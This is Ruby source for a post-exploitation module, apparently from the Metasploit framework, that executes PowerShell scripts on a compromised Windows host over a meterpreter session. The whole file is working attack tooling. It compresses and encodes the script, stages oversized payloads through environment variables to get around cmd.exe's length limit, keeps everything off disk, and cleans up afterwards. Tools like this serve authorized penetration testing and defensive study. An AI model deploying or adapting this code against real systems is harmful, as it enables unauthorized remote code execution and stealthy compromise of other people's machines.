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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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##
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# Original script comments by nick[at]executionflow.org:
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# Meterpreter script to deliver and execute powershell scripts using
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# a compression/encoding method based on the powershell PoC code
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# from rel1k and winfang98 at DEF CON 18. This script furthers the
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# idea by bypassing Windows' command character lmits, allowing the
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# execution of very large scripts. No files are ever written to disk.
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##
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require 'zlib' # TODO: check if this can be done with REX
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class MetasploitModule < Msf::Post
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  include Msf::Post::Windows::Powershell
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Manage PowerShell Download and/or Execute',
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        'Description' => %q{
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          This module will download and execute a PowerShell script over a meterpreter session.
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          The user may also enter text substitutions to be made in memory before execution.
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          Setting VERBOSE to true will output both the script prior to execution and the results.
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        },
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        'License' => MSF_LICENSE,
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        'Platform' => ['win'],
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        'SessionTypes' => ['meterpreter'],
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        'Author' => [
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          'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
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          'RageLtMan <rageltman[at]sempervictus>' # post module
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        ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_sys_config_sysinfo
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
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      ]
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    )
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    register_advanced_options(
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      [
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        OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
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        OptBool.new('DELETE', [false, 'Delete file after execution', false ]),
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        OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]),
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        OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
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      ]
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    )
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  end
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  def run
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    # Make sure we meet the requirements before running the script, note no need to return
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    # unless error
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    return 0 if !(session.type == 'meterpreter' || have_powershell?)
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    # End of file marker
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    eof = Rex::Text.rand_text_alpha(8)
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    env_suffix = Rex::Text.rand_text_alpha(8)
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    # check/set vars
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    subs = process_subs(datastore['SUBSTITUTIONS'])
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    script_in = read_script(datastore['SCRIPT'])
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    print_status(script_in)
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    # Make substitutions in script if needed
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    script_in = make_subs(script_in, subs) unless subs.empty?
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    # Get target's computer name
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    computer_name = session.sys.config.sysinfo['Computer']
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    # Create unique log directory
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    log_dir = ::File.join(Msf::Config.log_directory, 'scripts', computer_name)
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    ::FileUtils.mkdir_p(log_dir)
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    # Define log filename
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    script_ext = ::File.extname(datastore['SCRIPT'])
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    script_base = ::File.basename(datastore['SCRIPT'], script_ext)
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    time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
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    log_file = ::File.join(log_dir, "#{script_base}-#{time_stamp}.txt")
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    # Compress
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    print_status('Compressing script contents.')
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    compressed_script = compress_script(script_in, eof)
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    if datastore['DRY_RUN']
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      print_good("powershell -EncodedCommand #{compressed_script}")
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      return
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    end
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    # If the compressed size is > 8100 bytes, launch stager
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    if (compressed_script.size > 8100)
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      print_error("Compressed size: #{compressed_script.size}")
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      error_msg = 'Compressed size may cause command to exceed '
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      error_msg += "cmd.exe's 8kB character limit."
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      print_error(error_msg)
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      print_status('Launching stager:')
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      script = stage_to_env(compressed_script, env_suffix)
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      print_good('Payload successfully staged.')
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    else
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      print_good("Compressed size: #{compressed_script.size}")
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      script = compressed_script
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    end
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    # Execute the powershell script
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    print_status('Executing the script.')
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    cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])
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    # Write output to log
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    print_status("Logging output to #{log_file}.")
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    write_to_log(cmd_out, log_file, eof)
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    # Clean up
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    print_status('Cleaning up residual objects and processes.')
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    clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
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    # That's it
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    print_good('Finished!')
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  end
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end
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